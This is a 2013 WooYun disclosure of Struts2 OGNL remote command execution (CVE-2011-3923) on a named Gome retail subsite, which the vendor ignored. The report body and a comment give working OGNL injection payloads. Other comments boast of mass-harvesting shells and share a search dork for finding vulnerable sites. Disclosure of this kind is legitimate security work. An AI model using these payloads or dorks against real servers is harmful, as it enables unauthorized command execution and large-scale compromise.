当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025168

漏洞标题:struts2之国美(某分站)命令执行 2

相关厂商:国美控股集团

漏洞作者: 摄影会长

提交时间:2013-06-05 10:36

修复时间:2013-06-10 10:36

公开时间:2013-06-10 10:36

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-05: 细节已通知厂商并且等待厂商处理中
2013-06-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

不是之前的2010.\43 post绕过. CVE-2011-3923 的利用。

详细说明:

国美销售网
http://www.gomesell.com/
原理是:ognl的执行顺序。 表达式执行。
poc:
class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true,#req=@org.apache.struts2.ServletActionContext@getRequest(),#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#outstr.println(#req.getRealPath("/")),#outstr.close())(meh)&z[(class.classLoader.jarPath)('meh')]
这个也是root 权限,可shell,可后门。保护电商数据使我们猥琐流马甲党的一贯作风。危害也是一样,还是那句话 电商大战 赶紧把漏洞修补了,不要只追求业绩。

exp77.jpg


exp777.jpg


exp7777.jpg


漏洞证明:

exp77.jpg


exp777.jpg


exp7777.jpg

修复方案:

升级struts2到2.3.1.2以及以上版本 赶紧升到新版本。两个了 可以小礼物意思下,哈哈。写爬虫也耗费点时间的,哈。

版权声明:转载请注明来源 摄影会长@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-06-10 10:36

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-06-05 10:40 | 摄影会长 ( 实习白帽子 | Rank:81 漏洞数:14 | 我是马甲!)

    保护电商数据是我们猥琐流马甲党的一贯作风。

  2. 2013-06-05 15:18 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @摄影会长 好牛B全是struts

  3. 2013-06-05 15:56 | 摄影会长 ( 实习白帽子 | Rank:81 漏洞数:14 | 我是马甲!)

    @园长 呵呵,你也写爬虫爬啊。漏洞没有那么多,光写exp 没用哦,重在爬。

  4. 2013-06-05 16:37 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @摄影会长 我会告诉你我十分钟就爬了几百个shell么?可是拿那玩意刷RANK有点太....

  5. 2013-06-05 16:57 | livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)

    @园长 几百个呀。有几个是重要的呢。 搜狐 和华为 我爬了近十万条连接,才有3个。更何况你还是用sleep ,自己试试嘛。

  6. 2013-06-05 17:02 | 摄影会长 ( 实习白帽子 | Rank:81 漏洞数:14 | 我是马甲!)

    @livers 深有感触 我没爬你这么多 调用了多个引擎爬的,漏洞就是报告呀,@园长 我只是个搞摄影的。

  7. 2013-06-05 17:09 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @livers ('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))'%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))%2b'参数=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))&z[(参数)('meh')]=trueclass.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}

  8. 2013-06-05 17:14 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @livers 我发的哪个是用来忽悠人的,自己玩的当然要全自动的。

  9. 2013-06-05 19:29 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @livers 偷偷告诉你要有关键字比如:inurl:shop/member!passwordRecover.action 试下你就知道我没吹牛了。

  10. 2013-07-01 21:29 | 小E ( 实习白帽子 | Rank:31 漏洞数:12 )

    @园长 shop++ jeecms之类的关键字就别拿出来丢人现眼了。